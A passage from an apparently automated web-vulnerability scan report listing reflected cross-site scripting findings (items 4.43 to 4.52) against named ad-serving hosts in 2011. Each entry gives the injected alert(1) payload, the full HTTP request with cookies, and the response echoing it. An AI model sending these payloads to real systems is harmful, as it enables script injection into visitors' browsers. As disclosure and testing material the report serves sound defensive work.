Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:39:48 GMT
Connection: close
Content-Length: 7407

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-13233545_1305034788","http://ad.doubleclick.net/adj/ns.knowyourmobile/generala16af'-alert(1)-'b14a62af70b;net=ns;u=,ns-13233545_1305034788,11f8f328940989e,itdeweb,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=atf;kw=;tile=2;cmw=nurl;sz=728x90;net=ns;ord1=877377;contx=itdeweb;dc=w;btg=ns.i7kt
...[SNIP]...

4.43. http://a.collective-media.net/cmadj/ns.knowyourmobile/general [ppos parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.knowyourmobile/general

Issue detail

The value of the ppos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 88293'-alert(1)-'831d974abd0 was submitted in the ppos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.knowyourmobile/general;ppos=88293'-alert(1)-'831d974abd0 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:38:47 GMT
Connection: close
Content-Length: 7325

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
chAd("ns-52450152_1305034727","http://ad.doubleclick.net/adj/ns.knowyourmobile/general;net=ns;u=,ns-52450152_1305034727,11f8f328940989e,none,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=88293'-alert(1)-'831d974abd0;contx=none;dc=w;btg=ns.i7kt;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=mm.am1;btg=mm.aq1?","0","0",false);</scr'+'ipt>
...[SNIP]...

4.44. http://a.collective-media.net/cmadj/ns.slashgear/general [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.slashgear/general

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c6a8a'-alert(1)-'d70f51146c9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadjc6a8a'-alert(1)-'d70f51146c9/ns.slashgear/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ampc=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBGPgtMDrJTauSLMj0lAeZ-MGLBfKG-8sBAAAAEAEg3KOGAjgAWMKLheATYMmGhYmIpIQQsgERd3d3LnNsYXNoZ2Vhci5jb226AQlnZnBfaW1hZ2XIAQnaAVVodHRwOi8vd3d3LnNsYXNoZ2Vhci5jb20vc2Ftc3VuZy1nYWxheHktdGFiLTEwLTEtaGFuZHMtb24tYXQtZ29vZ2xlLWlvLTIwMTEtMDkxNTEwMjcvmAKIJ8ACAuACAOoCGFNsYXNoR2Vhci03Mjh4OTAtUHJpbWFyefgC8NEekAOkA5gDpAOoAwHgBAE%26num%3D0%26sig%3DAGiWqtzXozm10NV5RS71pypP48jN1u48ug%26client%3Dca-pub-3201252381583585%26adurl%3D;ord=8602318128105253;env=ifr;ord1=461219;cmpgurl=http%253A//www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/tier1_728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:35:13 GMT
Connection: close
Content-Length: 7899

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-33363457_1305034513","http://ad.doubleclick.net/adjc6a8a'-alert(1)-'d70f51146c9/ns.slashgear/general;net=ns;u=,ns-33363457_1305034513,11f8f328940989e,Miscellaneous,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;click=
...[SNIP]...

4.45. http://a.collective-media.net/cmadj/ns.slashgear/general [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.slashgear/general

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6d6cb'-alert(1)-'23ce3502b9c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.slashgear6d6cb'-alert(1)-'23ce3502b9c/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ampc=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBGPgtMDrJTauSLMj0lAeZ-MGLBfKG-8sBAAAAEAEg3KOGAjgAWMKLheATYMmGhYmIpIQQsgERd3d3LnNsYXNoZ2Vhci5jb226AQlnZnBfaW1hZ2XIAQnaAVVodHRwOi8vd3d3LnNsYXNoZ2Vhci5jb20vc2Ftc3VuZy1nYWxheHktdGFiLTEwLTEtaGFuZHMtb24tYXQtZ29vZ2xlLWlvLTIwMTEtMDkxNTEwMjcvmAKIJ8ACAuACAOoCGFNsYXNoR2Vhci03Mjh4OTAtUHJpbWFyefgC8NEekAOkA5gDpAOoAwHgBAE%26num%3D0%26sig%3DAGiWqtzXozm10NV5RS71pypP48jN1u48ug%26client%3Dca-pub-3201252381583585%26adurl%3D;ord=8602318128105253;env=ifr;ord1=461219;cmpgurl=http%253A//www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/tier1_728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:35:16 GMT
Connection: close
Content-Length: 7899

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-73419127_1305034516","http://ad.doubleclick.net/adj/ns.slashgear6d6cb'-alert(1)-'23ce3502b9c/general;net=ns;u=,ns-73419127_1305034516,11f8f328940989e,Miscellaneous,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;click=http://adclic
...[SNIP]...

4.46. http://a.collective-media.net/cmadj/ns.slashgear/general [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.slashgear/general

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b2c4b'-alert(1)-'3beeb056928 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.slashgear/generalb2c4b'-alert(1)-'3beeb056928;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ampc=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBGPgtMDrJTauSLMj0lAeZ-MGLBfKG-8sBAAAAEAEg3KOGAjgAWMKLheATYMmGhYmIpIQQsgERd3d3LnNsYXNoZ2Vhci5jb226AQlnZnBfaW1hZ2XIAQnaAVVodHRwOi8vd3d3LnNsYXNoZ2Vhci5jb20vc2Ftc3VuZy1nYWxheHktdGFiLTEwLTEtaGFuZHMtb24tYXQtZ29vZ2xlLWlvLTIwMTEtMDkxNTEwMjcvmAKIJ8ACAuACAOoCGFNsYXNoR2Vhci03Mjh4OTAtUHJpbWFyefgC8NEekAOkA5gDpAOoAwHgBAE%26num%3D0%26sig%3DAGiWqtzXozm10NV5RS71pypP48jN1u48ug%26client%3Dca-pub-3201252381583585%26adurl%3D;ord=8602318128105253;env=ifr;ord1=461219;cmpgurl=http%253A//www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/tier1_728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:35:21 GMT
Connection: close
Content-Length: 7899

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-26243134_1305034521","http://ad.doubleclick.net/adj/ns.slashgear/generalb2c4b'-alert(1)-'3beeb056928;net=ns;u=,ns-26243134_1305034521,11f8f328940989e,Miscellaneous,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;click=http://adclick.g.doub
...[SNIP]...

4.47. http://a.collective-media.net/cmadj/ns.slashgear/general [ppos parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.slashgear/general

Issue detail

The value of the ppos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b0f86'-alert(1)-'bf7390dfd76 was submitted in the ppos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.slashgear/general;ppos=b0f86'-alert(1)-'bf7390dfd76 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/tier1_728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:34:23 GMT
Connection: close
Content-Length: 7320

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
dAttachAd("ns-34740352_1305034463","http://ad.doubleclick.net/adj/ns.slashgear/general;net=ns;u=,ns-34740352_1305034463,11f8f328940989e,none,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=b0f86'-alert(1)-'bf7390dfd76;contx=none;dc=w;btg=ns.i7kt;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=mm.am1;btg=mm.aq1?","0","0",false);</scr'+'ipt>
...[SNIP]...

4.48. http://a.collective-media.net/cmadj/q1.philly/news [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/q1.philly/news

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload df7fe'-alert(1)-'4217b4f4195 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadjdf7fe'-alert(1)-'4217b4f4195/q1.philly/news;sz=300x600;net=q1;ord=[timestamp];ord1=158490;cmpgurl=http%253A//www.philly.com/philly/news/nation_world/121548659.html? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:12:09 GMT
Connection: close
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Tue, 10-May-2011 21:12:09 GMT
Content-Length: 7641

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("q1-37153453_1305033129","http://ad.doubleclick.net/adjdf7fe'-alert(1)-'4217b4f4195/q1.philly/news;net=q1;u=,q1-37153453_1305033129,11f8f328940989e,polit,q1.polit_h-q1.none_h-q1.ent_h-q1.food_h-q1.sports_h-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1-cm.ent_h-cm.music_h-cm.weath_h-c
...[SNIP]...

4.49. http://a.collective-media.net/cmadj/q1.philly/news [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/q1.philly/news

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a28f1'-alert(1)-'72417d38acc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/q1.phillya28f1'-alert(1)-'72417d38acc/news;sz=300x600;net=q1;ord=[timestamp];ord1=158490;cmpgurl=http%253A//www.philly.com/philly/news/nation_world/121548659.html? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:12:10 GMT
Connection: close
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Tue, 10-May-2011 21:12:10 GMT
Content-Length: 7631

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("q1-5554184_1305033130","http://ad.doubleclick.net/adj/q1.phillya28f1'-alert(1)-'72417d38acc/news;net=q1;u=,q1-5554184_1305033130,11f8f328940989e,polit,q1.polit_h-q1.none_h-q1.ent_h-q1.food_h-q1.sports_h-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1-cm.ent_h-cm.music_h-cm.weath_h-cm.sports_h;
...[SNIP]...

4.50. http://a.collective-media.net/cmadj/q1.philly/news [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/q1.philly/news

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 12520'-alert(1)-'7118891472a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/q1.philly/news12520'-alert(1)-'7118891472a;sz=300x600;net=q1;ord=[timestamp];ord1=158490;cmpgurl=http%253A//www.philly.com/philly/news/nation_world/121548659.html? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:12:11 GMT
Connection: close
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Tue, 10-May-2011 21:12:11 GMT
Content-Length: 7633

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("q1-47912472_1305033131","http://ad.doubleclick.net/adj/q1.philly/news12520'-alert(1)-'7118891472a;net=q1;u=,q1-47912472_1305033131,11f8f328940989e,polit,q1.polit_h-q1.none_h-q1.ent_h-q1.food_h-q1.sports_h-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1-cm.ent_h-cm.music_h-cm.weath_h-cm.sports_h;;sz=
...[SNIP]...

4.51. http://a.collective-media.net/cmadj/q1.philly/news [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/q1.philly/news

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ecbe8'-alert(1)-'79f52d6e60a was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/q1.philly/news;sz=ecbe8'-alert(1)-'79f52d6e60a HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:11:54 GMT
Connection: close
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Tue, 10-May-2011 21:11:54 GMT
Content-Length: 7611

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
s;net=q1;u=,q1-48677486_1305033114,11f8f328940989e,none,q1.polit_h-q1.none_h-q1.ent_h-q1.food_h-q1.sports_h-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1-cm.ent_h-cm.music_h-cm.weath_h-cm.sports_h;;sz=ecbe8'-alert(1)-'79f52d6e60a;contx=none;dc=w;btg=q1.polit_h;btg=q1.none_h;btg=q1.ent_h;btg=q1.food_h;btg=q1.sports_h;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=mm.am1;btg=mm.aq1;btg=cm.ent_h;btg=cm.music_h;btg=cm.wea
...[SNIP]...

4.52. http://ad.bnmla.com/serve [cid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.bnmla.com
Path:	/serve

Issue detail

The value of the cid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a45c7"><script>alert(1)</script>ea258321cd6 was submitted in the cid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /serve?st=1&pid=563&zid=3621&aid=30790&cid=506a45c7"><script>alert(1)</script>ea258321cd6&ne=1&click=http%3A//ad.doubleclick.net/click%253Bh%253Dv8/3b03/3/0/%252a/w%253B239983083%253B0-0%253B0%253B28217125%253B4307-300/250%253B40891622/40909409/1%253Bu%253D300x250%7Cbpage%7Cmid_article%7C2012-election%252C@mostpopular%252Crick-santorum%252Celections-2012%252Crick-santorum-for-president%252Csantorum-for-president%252Crick-santorum-2012%252Crick-santorum-south-carolina-straw-poll%252Csantorum-2012%252Csouth-carolina-primary-election%252Csouth-carolina-%253B%257Eokv%253D%253Bfeatured-posts%253D1%253Bpolitics%253D1%253B%253Bentry_id%253D859012%253B2012-election%253D1%253B@mostpopular%253D1%253Brick-santorum%253D1%253Belections-2012%253D1%253Brick-santorum-for-president%253D1%253Bsantorum-for-president%253D1%253Brick-santorum-2012%253D1%253Brick-santorum-south-carolina-straw-poll%253D1%253Bsantorum-2012%253D1%253Bsouth-carolina-primary-election%253D1%253Bsouth-carolina-straw-poll%253D1%253Bsouth-carolina-straw-poll-2011%253D1%253Bsouth-carolina-straw-poll-results%253D1%253Bglobal%253D1%253Bcap_12%253Dn%253Bqcs%253DD%253Bqcs%253DT%253Bqcs%253D2689%253Bqcs%253D2687%253Bqcs%253D2685%253Bqcs%253D1908%253Bqcs%253D1905%253Bqcs%253D1592%253Bqcs%253D683%253Bqcs%253D680%253Bqcs%253D679%253Bqcs%253D678%253Bqcs%253D666%253Bqcs%253D665%253Bqcs%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253f HTTP/1.1
Host: ad.bnmla.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ij=eNqrVlAyNjC3NFBSsFKIVjDUUTA0NjA1MDY2MjZXiFWoBQBj4QZq; imp=

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:21:59 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 1208

